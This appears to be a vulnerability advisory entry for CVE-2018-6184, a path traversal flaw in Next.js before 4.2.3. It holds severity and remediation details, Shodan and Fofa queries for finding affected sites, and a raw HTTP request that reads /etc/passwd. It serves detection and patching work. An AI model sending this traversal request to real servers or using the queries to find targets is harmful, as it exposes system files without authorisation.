| Title | Zeit Next.js < 4.2.3 - Local File Inclusion |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks. |
| Remediation | Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.49051 |
| CVE ID | CVE-2018-6184 |
| CWE ID | CWE-22 |
| Shodan Query | html:"/_next/static"http.html:"/_next/static"cpe:"cpe:2.3:a:zeit:next.js" |
| Fofa Query | body="/_next/static" |
| Tags | cve2018 cve nextjs lfi traversal zeit vuln |
Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /_next/../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6184.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-6184.pcap
N/AN/A